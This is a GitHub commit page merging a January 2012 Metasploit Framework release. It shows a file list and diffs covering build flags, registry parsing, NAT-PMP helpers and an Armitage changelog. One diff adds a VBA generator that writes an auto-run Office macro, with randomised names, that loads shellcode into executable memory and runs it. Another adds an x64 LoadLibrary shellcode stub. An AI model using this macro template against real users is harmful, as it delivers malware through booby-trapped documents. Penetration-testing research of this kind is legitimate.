Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse files

Merge branch 'release/20120124000001' into stable

  • Loading branch information...
commit 057a22569b210ca775a1e97135e14be129e5db7e 2 parents 7f9cd45 + d18efa9
@mbuck-r7 mbuck-r7 authored
Showing with 4,644 additions and 271 deletions.
  1. +1 −1  README
  2. BIN  data/armitage/armitage.jar
  3. +1 −4 data/armitage/readme.txt
  4. +30 −0 data/armitage/whatsnew.txt
  5. BIN  data/meterpreter/ext_server_networkpug.lso
  6. BIN  data/meterpreter/ext_server_sniffer.lso
  7. BIN  data/meterpreter/ext_server_stdapi.lso
  8. BIN  data/meterpreter/msflinker_linux_x86.bin
  9. +14 −0 data/post/enum_artifacts_list.txt
  10. +1 −0  external/source/meterpreter/source/bionic/libdl/Makefile
  11. +2 −0  external/source/meterpreter/source/server/rtld/Makefile
  12. +2 −0  external/source/meterpreter/workspace/Makefile
  13. +2 −0  external/source/meterpreter/workspace/common/Makefile
  14. +2 −0  external/source/meterpreter/workspace/ext_posix_sample/Makefile
  15. +2 −0  external/source/meterpreter/workspace/ext_server_networkpug/Makefile
  16. +3 −1 external/source/meterpreter/workspace/ext_server_sniffer/Makefile
  17. +2 −0  external/source/meterpreter/workspace/ext_server_stdapi/Makefile
  18. +2 −0  external/source/meterpreter/workspace/metsrv/Makefile
  19. +24 −0 external/source/shellcode/windows/x64/src/single/single_loadlibrary.asm
  20. +2 −2 lib/msf/base/serializer/readable_text.rb
  21. +1 −1  lib/msf/core/auxiliary/auth_brute.rb
  22. +4 −0 lib/msf/core/encoded_payload.rb
  23. +15 −9 lib/msf/core/exploit/mssql.rb
  24. +10 −3 lib/msf/core/model/cred.rb
  25. +6 −0 lib/msf/core/model/host.rb
  26. +2 −0  lib/msf/core/module.rb
  27. +46 −0 lib/msf/core/option_container.rb
  28. +27 −0 lib/msf/core/post/file.rb
  29. +9 −4 lib/msf/ui/console/command_dispatcher/core.rb
  30. +68 −1 lib/msf/util/exe.rb
  31. +10 −0 lib/rex/proto/natpmp.rb
  32. +18 −0 lib/rex/proto/natpmp/constants.rb
  33. +44 −0 lib/rex/proto/natpmp/packet.rb
  34. +1 −1  lib/rex/proto/tftp/client.rb
  35. +13 −0 lib/rex/registry.rb
  36. +110 −0 lib/rex/registry/hive.rb
  37. +50 −0 lib/rex/registry/lfkey.rb
  38. +53 −0 lib/rex/registry/nodekey.rb
  39. +26 −0 lib/rex/registry/regf.rb
  40. +66 −0 lib/rex/registry/valuekey.rb
  41. +28 −0 lib/rex/registry/valuelist.rb
  42. +106 −0 modules/auxiliary/admin/natpmp/natpmp_map.rb
  43. +102 −0 modules/auxiliary/dos/scada/igss9_dataserver.rb
  44. +5 −5 modules/auxiliary/gather/corpwatch_lookup_name.rb
  45. +275 −0 modules/auxiliary/gather/d20pass.rb
  46. +82 −0 modules/auxiliary/gather/natpmp_external_address.rb
  47. +4 −4 modules/auxiliary/gather/shodan_search.rb
  48. +6 −5 modules/auxiliary/scanner/discovery/udp_sweep.rb
  49. +1 −0  modules/auxiliary/scanner/ftp/ftp_login.rb
  50. +1 −1  modules/auxiliary/scanner/http/http_version.rb
  51. +3 −3 modules/auxiliary/scanner/http/httpbl_lookup.rb
  52. +87 −73 modules/auxiliary/scanner/http/soap_xml.rb
  53. +10 −9 modules/auxiliary/scanner/mssql/mssql_ping.rb
  54. +132 −0 modules/auxiliary/scanner/mssql/mssql_schemadump.rb
  55. +132 −0 modules/auxiliary/scanner/mysql/mysql_schemadump.rb
  56. +116 −0 modules/auxiliary/scanner/natpmp/natpmp_portscan.rb
  57. +124 −0 modules/auxiliary/scanner/postgres/postgres_schemadump.rb
  58. +14 −25 modules/auxiliary/scanner/smb/smb_login.rb
  59. +32 −49 modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
  60. +42 −35 modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
  61. +127 −0 modules/auxiliary/scanner/vmware/vmauthd_login.rb
  62. +7 −13 modules/auxiliary/spoof/arp/arp_poisoning.rb
  63. +83 −0 modules/exploits/multi/http/gitorious_graph.rb
  64. +159 −0 modules/exploits/osx/browser/mozilla_mchannel.rb
  65. +158 −0 modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb
  66. +193 −0 modules/exploits/windows/browser/ms05_054_onload.rb
  67. +6 −4 modules/exploits/windows/fileformat/adobe_reader_u3d.rb
  68. +136 −0 modules/exploits/windows/fileformat/bsplayer_m3u.rb
  69. +370 −0 modules/exploits/windows/fileformat/mcafee_showreport_exec.rb
  70. +2 −2 modules/exploits/windows/ftp/ability_server_stor.rb
  71. +277 −0 modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
  72. +6 −3 modules/exploits/windows/oracle/tns_auth_sesskey.rb
  73. +1 −1  modules/exploits/windows/smb/ms04_007_killbill.rb
  74. +6 −4 modules/payloads/singles/osx/x86/exec.rb
  75. +74 −0 modules/payloads/singles/windows/x64/loadlibrary.rb
  76. +106 −0 modules/post/windows/gather/enum_artifacts.rb
  77. +139 −0 modules/post/windows/manage/download_exec.rb
  78. +99 −0 scripts/resource/auto_pass_the_hash.rc
  79. +58 −0 scripts/resource/autocrawler.rc
  80. +22 −0 scripts/resource/port_cleaner.rb
  81. +53 −0 scripts/resource/portscan.rc
  82. +63 −0 scripts/resource/wmap_autotest.rc
  83. +9 −8 test/modules/post/test/railgun_reverse_lookups.rb
  84. +519 −0 tools/reg.rb
View
2  README
@@ -1,4 +1,4 @@
-Copyright (C) 2006-2011, Rapid7 LLC
+Copyright (C) 2006-2012, Rapid7 LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
View
BIN  data/armitage/armitage.jar
Binary file not shown
View
5 data/armitage/readme.txt
@@ -32,9 +32,6 @@ information on connecting Armitage to Metasploit and using it.
To get started, see the manual at http://www.fastandeasyhacking.com
-To update Armitage, type 'svn update .' to get the latest archive from the
-subversion server. I recommend doing this regularly (once a week).
-
4. Source Code
-----------
@@ -63,7 +60,7 @@ sure you peruse the FAQ and Manual first.
7. License
-------
-(c) 2010-2011 Raphael Mudge. This project is licensed under the BSD license.
+(c) 2010-2012 Raphael Mudge. This project is licensed under the BSD license.
See section 8 for more information.
lib/jgraphx.jar is used here within the terms of the BSD license offered by
View
30 data/armitage/whatsnew.txt
@@ -1,6 +1,36 @@
Armitage Changelog
==================
+19 Jan 12
+---------
+- Data export now includes a sessions file. This lists all of the Metasploit
+ sessions you had in your database. There's some neat data here including
+ which exploit was used, which payload, start time, and close time. You can
+ calculate how much time you spent on your client's boxes. Cool stuff.
+- Fixed a potential dead-lock caused by mouse enter/exit events firing code
+ that required a lock. Nice landmine to defuse.
+- Fixed a weird condition with d-server detection. Sometimes (rarely)
+ Armitage wouldn't detect the d-server even when it's present.
+- Added check to d-server allowing one lock per/client. Client won't reobtain
+ a lock until it lets it go. This prevents you from opening two shell tabs
+ for a shell session in team mode.
+- Fixed an infinite loop condition when some Windows shell commands would
+ return output with no newlines (e.g., net stop [some service]). Thanks
+ Jesse for pointing me to this one.
+- Data export now includes a timeline file. This file documents all of the
+ major engagement events seen by Armitage. Included with each of these
+ events is the source ip of the attack system and the user who carried out
+ the action (when teaming is setup).
+- Data export now exports timestamps with current timezone (not GMT)
+- Fixed a nasty bug that's been with Armitage since the beginning! I wasn't
+ freeing edges properly in the graph view. If you had pivots setup in graph
+ view and used Armitage long enough--eventually Armitage would slow down until
+ the program became unusable. At least it's fixed now.
+- Adjusted the d-server state identity hash combination algorithm to better
+ avoid collissions.
+- Armitage now displays 'shell session' below a host if the host info is just
+ the Windows shell banner.
+
5 Jan 12
--------
- Armitage d-server now transmits hosts, service, and session state only
View
BIN  data/meterpreter/ext_server_networkpug.lso
Binary file not shown
View
BIN  data/meterpreter/ext_server_sniffer.lso
Binary file not shown
View
BIN  data/meterpreter/ext_server_stdapi.lso
Binary file not shown
View
BIN  data/meterpreter/msflinker_linux_x86.bin
Binary file not shown
View
14 data/post/enum_artifacts_list.txt
@@ -0,0 +1,14 @@
+# This file contains a list of artifacts used by the enum_artifacts post module
+# Artifacts should be listed one per line and use the following formats:
+# File entries
+# file|path/to/file|md5sum
+#
+# Registry entries
+# reg|hive|key|value
+#
+# Happy hunting
+
+file|c:\ntdetect.com|b2de3452de03674c6cec68b8c8ce7c78
+file|c:\boot.ini|fa579938b0733b87066546afe951082c
+reg|HKEY_LOCAL_MACHINE\SYSTEM\Select|Current|1
+reg|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI|DisplayName|Microsoft ACPI Driver
View
1  external/source/meterpreter/source/bionic/libdl/Makefile
@@ -3,6 +3,7 @@ CFLAGS+= -I../libc/include -I../libc/private -I../libc/bionic -I../libc/kernel/a
CFLAGS+= -I../libc/kernel/common/linux/ -I../libc/arch-x86/include/ -I../libc/kernel/common/
CFLAGS+= -Os
+CFLAGS+= -march=i386
all:
gcc -Wl,--hash-style=sysv -shared -o libdl.so $(CFLAGS) libdl.c
View
2  external/source/meterpreter/source/server/rtld/Makefile
@@ -6,6 +6,8 @@ CFLAGS+= -nostdinc -nostdlib -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -D
CFLAGS+= -ggdb
CFLAGS+= -DMETSRV_RTLD -D_BYTE_ORDER=_LITTLE_ENDIAN
+CFLAGS+= -march=i386
+
OBJ=msflinker.o basic_libc.o syscall.o linker_format.o dlfcn.o zlib.o metsrv_rtld.o
all: msflinker msflinker.bin rtldtest
View
2  external/source/meterpreter/workspace/Makefile
@@ -1,5 +1,7 @@
SUBDIRS = common metsrv ext_server_stdapi ext_server_sniffer ext_server_networkpug
+CFLAGS+= -march=i386
+
subdirs:
for dir in $(SUBDIRS); do \
$(MAKE) -C $$dir; \
View
2  external/source/meterpreter/workspace/common/Makefile
@@ -18,6 +18,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled
CFLAGS+= -D_UNIX -I$(SOURCEPATH) -I$(MALLOC_PATH) -I$(XOR_PATH) -DMALLOC_PRODUCTION -DPIC -I$(SSLPATH) -I$(STDLIBPATH) -I$(ZLIB_PATH)
CFLAGS+= -g -fPIC -Os -D_POSIX_C_SOURCE=200809 -D__BSD_VISIBLE=1 -D__XSI_VISIBLE=1
+CFLAGS+= -march=i386
+
CC=gcc
AR=ar
View
2  external/source/meterpreter/workspace/ext_posix_sample/Makefile
@@ -15,6 +15,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport
+CFLAGS+= -march=i386
+
objects = test.o
all: posix_sample.so
View
2  external/source/meterpreter/workspace/ext_server_networkpug/Makefile
@@ -16,6 +16,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main
+CFLAGS+= -march=i386
+
#LDFLAGS= -fPIC -Bshareable -lc
ifeq ($(OSNAME), FreeBSD)
View
4 external/source/meterpreter/workspace/ext_server_sniffer/Makefile
@@ -17,13 +17,15 @@ CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main
CFLAGS+= -I.
+CFLAGS+= -march=i386
+
objects = sniffer.o
all: ext_server_sniffer.so
ext_server_sniffer.so: $(objects)
- $(CC) -shared $(CFLAGS) $(objects) -lpcap -o $@
+ $(CC) -Wl,--hash-style=sysv -shared $(CFLAGS) $(objects) -lpcap -lssl -o $@
.PHONY: clean
clean:
View
2  external/source/meterpreter/workspace/ext_server_stdapi/Makefile
@@ -15,6 +15,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport -lmetsrv_main -lpcap
+CFLAGS+= -march=i386
+
#LDFLAGS= -fPIC -Bshareable -lc
ifeq ($(OSNAME), FreeBSD)
View
2  external/source/meterpreter/workspace/metsrv/Makefile
@@ -13,6 +13,8 @@ CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
+CFLAGS+= -march=i386
+
OS=posix
OSVPATH=../../source/common/arch/$(OS):../../source/server/linux/
ARCHVPATH=$(OSVPATH)/$(RARCH):$(ELFARCHPATH)
View
24 external/source/shellcode/windows/x64/src/single/single_loadlibrary.asm
@@ -0,0 +1,24 @@
+;-----------------------------------------------------------------------------;
+; Author: scriptjunkie (scriptjunkie[at]scriptjunkie[dot]us),
+; Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2003
+; 17 Jan 2012
+;-----------------------------------------------------------------------------;
+
+[BITS 64]
+[ORG 0]
+
+ cld ; Clear the direction flag.
+ and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
+ call start ; Call start, this pushes the address of 'api_call' onto the stack.
+delta: ;
+%include "./src/block/block_api.asm" ;
+start: ;
+ pop rbp ; Pop off the address of 'api_call' for calling later.
+ lea rcx, [ebp+libpath-delta]
+ mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
+ call rbp ; LoadLibraryA( &libpath );
+ ; Finish up with the EXITFUNK.
+%include "./src/block/block_exitfunk.asm"
+libpath:
+ ;db "funkystuff.dll", 0
View
4 lib/msf/base/serializer/readable_text.rb
@@ -312,9 +312,9 @@ def self.dump_options(mod, indent = '')
next if (opt.advanced?)
next if (opt.evasion?)
- val = mod.datastore[name] || opt.default.to_s
+ val_display = opt.display_value(mod.datastore[name] || opt.default)
- tbl << [ name, val.to_s, opt.required? ? "yes" : "no", opt.desc ]
+ tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ]
}
return tbl.to_s
View
2  lib/msf/core/auxiliary/auth_brute.rb
@@ -514,7 +514,7 @@ def tried_over_total(ip,port)
# name of the module, assuming the name is sensible like ssh_login or
# smb_auth.
def proto_from_fullname
- File.split(self.fullname).last.match(/^(.*)_(login|auth)/)[1].upcase rescue nil
+ File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil
end
# Legacy vprint
View
4 lib/msf/core/encoded_payload.rb 100644 → 100755
@@ -107,6 +107,10 @@ def encode
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
encoders = pinst.compatible_encoders
+ # Fix encoding issue
+ if reqs['Encoder']
+ reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.keys[0].encoding)
+ end
# If the caller had a preferred encoder, use this encoder only
if ((reqs['Encoder']) and (preferred = framework.encoders[reqs['Encoder']]))
encoders = [ [reqs['Encoder'], preferred] ]
View
24 lib/msf/core/exploit/mssql.rb
@@ -116,20 +116,26 @@ def mssql_ping(timeout=5)
# Parse a 'ping' response and format as a hash
#
def mssql_ping_parse(data)
- res = {}
+ res = []
var = nil
idx = data.index('ServerName')
return res if not idx
-
- data[idx, data.length-idx].split(';').each do |d|
- if (not var)
- var = d
- else
- if (var.length > 0)
- res[var] = d
- var = nil
+ sdata = data[idx, (data.length - 1)]
+
+ instances = sdata.split(';;')
+ instances.each do |instance|
+ rinst = {}
+ instance.split(';').each do |d|
+ if (not var)
+ var = d
+ else
+ if (var.length > 0)
+ rinst[var] = d
+ var = nil
+ end
end
end
+ res << rinst
end
return res
View
13 lib/msf/core/model/cred.rb
@@ -42,9 +42,16 @@ def ssh_keys
end
def ssh_key_matches?(other_cred)
- return false unless self.ptype == "ssh_key"
- return false unless other_cred.ptype == self.ptype
- matches = self.ssh_private_keys
+ return false unless other_cred.kind_of? self.class
+ return false unless self.ptype == other_cred.ptype
+ case self.ptype
+ when "ssh_key"
+ matches = self.ssh_private_keys
+ when "ssh_pubkey"
+ matches = self.ssh_public_keys
+ else
+ false
+ end
matches.include?(self) and matches.include?(other_cred)
end
View
6 lib/msf/core/model/host.rb
@@ -32,6 +32,12 @@ def attribute_locked?(attr)
def validate_fingerprint_data(fp)
if fp.data.kind_of?(Hash) and !fp.data.empty?
return true
+ elsif fp.ntype == "postgresql.fingerprint"
+ # Special case postgresql.fingerprint; it's always a string,
+ # and should not be used for OS fingerprinting (yet), so
+ # don't bother logging it. TODO: fix os fingerprint finding, this
+ # name collision seems silly.
+ return false
else
dlog("Could not validate fingerprint data: #{fp.inspect}")
return false
View
2  lib/msf/core/module.rb
@@ -690,6 +690,8 @@ def search_filter(search_string)
if not match and self.respond_to?(:targets) and self.targets
match = [t,w] if self.targets.map{|x| x.name}.any? { |t| t =~ r }
end
+ when 'port'
+ match = [t,w] if self.datastore['RPORT'].to_s =~ r
when 'type'
match = [t,w] if (w == "exploit" and is_exploit)
match = [t,w] if (w == "auxiliary" and is_auxiliary)
View
46 lib/msf/core/option_container.rb
@@ -82,6 +82,13 @@ def normalize(value)
end
#
+ # Returns a string representing a user-friendly display of the chosen value
+ #
+ def display_value(value)
+ value.to_s
+ end
+
+ #
# The name of the option.
#
attr_reader :name
@@ -137,6 +144,7 @@ def normalize(value)
# OptEnum - Select from a set of valid values
# OptAddressRange - A subnet or range of addresses
# OptSession - A session identifier
+# OptRegexp - Valid Ruby regular expression
#
###
@@ -440,6 +448,44 @@ def valid?(value)
end
end
+###
+#
+# Regexp option
+#
+###
+class OptRegexp < OptBase
+ def type
+ return 'regexp'
+ end
+
+ def valid?(value)
+ unless super
+ return false
+ end
+
+ begin
+ Regexp.compile(value)
+
+ return true
+ rescue RegexpError => e
+ return false
+ end
+ end
+
+ def normalize(value)
+ return Regexp.compile(value)
+ end
+
+ def display_value(value)
+ if value.kind_of?(Regexp)
+ return value.source
+ elsif value.kind_of?(String)
+ return display_value(normalize(value))
+ end
+
+ return super
+ end
+end
###
#
View
27 lib/msf/core/post/file.rb
@@ -34,6 +34,15 @@ def file_local_digestmd5(file2md5)
end
#
+ # Returns a MD5 checksum of a given remote file
+ #
+
+ def file_remote_digestmd5(file2md5)
+ chksum = Digest::MD5.hexdigest(read_file(file2md5))
+ return chksum
+ end
+
+ #
# Returns a SHA1 checksum of a given local file
#
def file_local_digestsha1(file2sha1)
@@ -48,6 +57,15 @@ def file_local_digestsha1(file2sha1)
end
#
+ # Returns a SHA1 checksum of a given remote file
+ #
+
+ def file_remote_digestsha1(file2sha1)
+ chksum = Digest::SHA1.hexdigest(read_file(file2sha1))
+ return chksum
+ end
+
+ #
# Returns a SHA256 checksum of a given local file
#
def file_local_digestsha2(file2sha2)
@@ -62,6 +80,15 @@ def file_local_digestsha2(file2sha2)
end
#
+ # Returns a SHA2 checksum of a given remote file
+ #
+
+ def file_remote_digestsha2(file2sha2)
+ chksum = Digest::SHA256.hexdigest(read_file(file2sha2))
+ return chksum
+ end
+
+ #
# Platform-agnostic file read. Returns contents of remote file +file_name+
# as a String.
#
View
13 lib/msf/ui/console/command_dispatcher/core.rb
@@ -1285,6 +1285,7 @@ def cmd_search_help
"name" => "Modules with a matching descriptive name",
"path" => "Modules with a matching path or reference name",
"platform" => "Modules affecting this platform",
+ "port" => "Modules with a matching remote port",
"type" => "Modules of a specific type (exploit, auxiliary, or post)",
"app" => "Modules that are client or server attacks",
"author" => "Modules written by this author",
@@ -2264,10 +2265,14 @@ def cmd_use_tabs(str, words)
# Returns the revision of the framework and console library
#
def cmd_version(*args)
- ver = "$Revision: 14065 $"
-
- print_line("Framework: #{Msf::Framework::Version}.#{Msf::Framework::Revision.match(/ (.+?) \$/)[1]}")
- print_line("Console : #{Msf::Framework::Version}.#{ver.match(/ (.+?) \$/)[1]}")
+ svn_console_version = "$Revision: 14065 $"
+ svn_metasploit_version = Msf::Framework::Revision.match(/ (.+?) \$/)[1] rescue nil
+ if svn_metasploit_version
+ print_line("Framework: #{Msf::Framework::Version}.#{svn_metasploit_version}")
+ else
+ print_line("Framework: #{Msf::Framework::Version}")
+ end
+ print_line("Console : #{Msf::Framework::Version}.#{svn_console_version.match(/ (.+?) \$/)[1]}")
return true
end
View
69 lib/msf/util/exe.rb 100644 → 100755
@@ -807,6 +807,70 @@ def self.to_exe_vba(exes='')
return vba
end
+ def self.to_vba(framework,code,opts={})
+ var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+ var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+
+ # put the shellcode bytes into an array
+ bytes = ''
+ maxbytes = 20
+ codebytes = code.unpack('C*')
+ 1.upto(codebytes.length) do |idx|
+ bytes << codebytes[idx].to_s
+ bytes << "," if idx < codebytes.length - 1
+ bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
+ end
+
+ "#If Vba7 Then
+Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr
+Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr
+Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr
+#Else
+Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long
+Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long
+Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long
+#EndIf
+
+Sub Auto_Open()
+ Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
+#If Vba7 Then
+ Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
+#Else
+ Dim #{var_rwxpage} As Long, #{var_res} As Long
+#EndIf
+ #{var_myArray} = Array(#{bytes})
+ #{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)
+ For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray})
+ #{var_myByte} = #{var_myArray}(#{var_offset})
+ #{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1)
+ Next #{var_offset}
+ #{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0)
+End Sub
+Sub AutoOpen()
+ Auto_Open
+End Sub
+Sub Workbook_Open()
+ Auto_Open
+End Sub
+"
+ end
+
def self.to_win32pe_vba(framework, code, opts={})
to_exe_vba(to_win32pe(framework, code, opts))
end
@@ -1639,6 +1703,9 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
when 'vba'
+ output = Msf::Util::EXE.to_vba(framework, code, exeopts)
+
+ when 'vba-exe'
exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
output = Msf::Util::EXE.to_exe_vba(exe)
@@ -1664,7 +1731,7 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
end
def self.to_executable_fmt_formats
- ['dll','exe','exe-small','elf','macho','vba','vbs','loop-vbs','asp','war']
+ ['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','war']
end
#
View
10 lib/rex/proto/natpmp.rb
@@ -0,0 +1,10 @@
+##
+#
+# NAT-PMP protocol support
+#
+# by Jon Hart <jhart@spoofed.org>
+#
+##
+
+require 'rex/proto/natpmp/constants'
+require 'rex/proto/natpmp/packet'
View
18 lib/rex/proto/natpmp/constants.rb
@@ -0,0 +1,18 @@
+##
+#
+# NAT-PMP constants
+#
+# by Jon Hart <jhart@spoofed.org>
+#
+##
+
+module Rex
+module Proto
+module NATPMP
+ DefaultPort = 5351
+ Version = 0
+ TCP = 2
+ UDP = 1
+end
+end
+end
View
44 lib/rex/proto/natpmp/packet.rb
@@ -0,0 +1,44 @@
+##
+#
+# NAT-PMP protocol support
+#
+# by Jon Hart <jhart@spoofed.org>
+#
+##
+
+module Rex
+module Proto
+module NATPMP
+
+ # Return a NAT-PMP request to get the external address.
+ def self.external_address_request
+ [ 0, 0 ].pack('nn')
+ end
+
+ # Parse a NAT-PMP external address response +resp+.
+ # Returns the decoded parts of the response as an array.
+ def self.parse_external_address_response(resp)
+ (ver, op, result, epoch, addr) = resp.unpack("CCSLN")
+ [ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
+ end
+
+ # Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms
+ def self.map_port_request(lport, rport, protocol, lifetime)
+ [ Rex::Proto::NATPMP::Version, # version
+ protocol, # opcode, which is now the protocol we are asking to forward
+ 0, # reserved
+ lport,
+ rport,
+ lifetime
+ ].pack("ccnnnN")
+ end
+
+ # Parse a NAT-PMP mapping response +resp+.
+ # Returns the decoded parts as an array.
+ def self.parse_map_port_response(resp)
+ resp.unpack("CCSLnnN")
+ end
+end
+
+end
+end
View
2  lib/rex/proto/tftp/client.rb
@@ -52,7 +52,7 @@ def initialize(params)
self.local_port = params["LocalPort"] || (1025 + rand(0xffff-1025))
self.peer_host = params["PeerHost"] || (raise ArgumentError, "Need a peer host.")
self.peer_port = params["PeerPort"] || 69
- self.context = params["Context"] || {}
+ self.context = params["Context"] || {'Msf' => framework, 'MsfExploit' => self}
self.local_file = params["LocalFile"]
self.remote_file = params["RemoteFile"] || (::File.split(self.local_file).last if self.local_file)
self.mode = params["Mode"] || "octet"
View
13 lib/rex/registry.rb
@@ -0,0 +1,13 @@
+require 'rex/registry/hive'
+require 'rex/registry/regf'
+require 'rex/registry/nodekey'
+require 'rex/registry/lfkey'
+require 'rex/registry/valuekey'
+require 'rex/registry/valuelist'
+
+module Rex
+module Registry
+
+ attr_accessor :alias
+end
+end
View
110 lib/rex/registry/hive.rb
@@ -0,0 +1,110 @@
+require_relative "regf"
+require_relative "nodekey"
+
+module Rex
+module Registry
+
+class Hive
+ attr_accessor :root_key, :hive_regf
+
+ def initialize(hivepath)
+
+ hive_blob = open(hivepath, "rb") { |io| io.read }
+ @hive_regf = RegfBlock.new(hive_blob)
+
+ @root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
+ end
+
+ def relative_query(path)
+
+ if path == "" || path == "\\"
+ return @root_key
+ end
+
+ current_child = nil
+ paths = path.split("\\")
+
+ return if !@root_key.lf_record
+
+ @root_key.lf_record.children.each do |child|
+ next if child.name.downcase != paths[1].downcase
+
+ current_child = child
+
+ if paths.length == 2
+ current_child.full_path = path
+ return current_child
+ end
+
+ 2.upto(paths.length) do |i|
+
+ if i == paths.length
+ current_child.full_path = path
+ return current_child
+ else
+ if current_child.lf_record && current_child.lf_record.children
+ current_child.lf_record.children.each do |c|
+ next if c.name.downcase != paths[i].downcase
+
+ current_child = c
+
+ break
+ end
+ end
+ end
+
+ end
+ end
+
+ return if !current_child
+
+ current_child.full_path = path
+ return current_child
+ end
+
+ def value_query(path)
+ if path == "" || path == "\\"
+ return nil
+ end
+
+ paths = path.split("\\")
+
+ return if !@root_key.lf_record
+
+ @root_key.lf_record.children.each do |root_child|
+ next if root_child.name.downcase != paths[1].downcase
+
+ current_child = root_child
+
+ if paths.length == 2
+ return nil
+ end
+
+ 2.upto(paths.length - 1) do |i|
+ next if !current_child.lf_record
+
+ current_child.lf_record.children.each do |c|
+ next if c.name != paths[i]
+ current_child = c
+
+ break
+ end
+ end
+
+ if !current_child.value_list || current_child.value_list.values.length == 0
+ return nil
+ end
+
+ current_child.value_list.values.each do |value|
+ next if value.name.downcase != paths[paths.length - 1].downcase
+
+ value.full_path = path
+ return value
+ end
+ end
+ end
+
+end
+
+end
+end
View
50 lib/rex/registry/lfkey.rb
@@ -0,0 +1,50 @@
+require_relative "nodekey"
+
+module Rex
+module Registry
+
+class LFBlock
+
+ attr_accessor :number_of_keys, :hash_records, :children
+
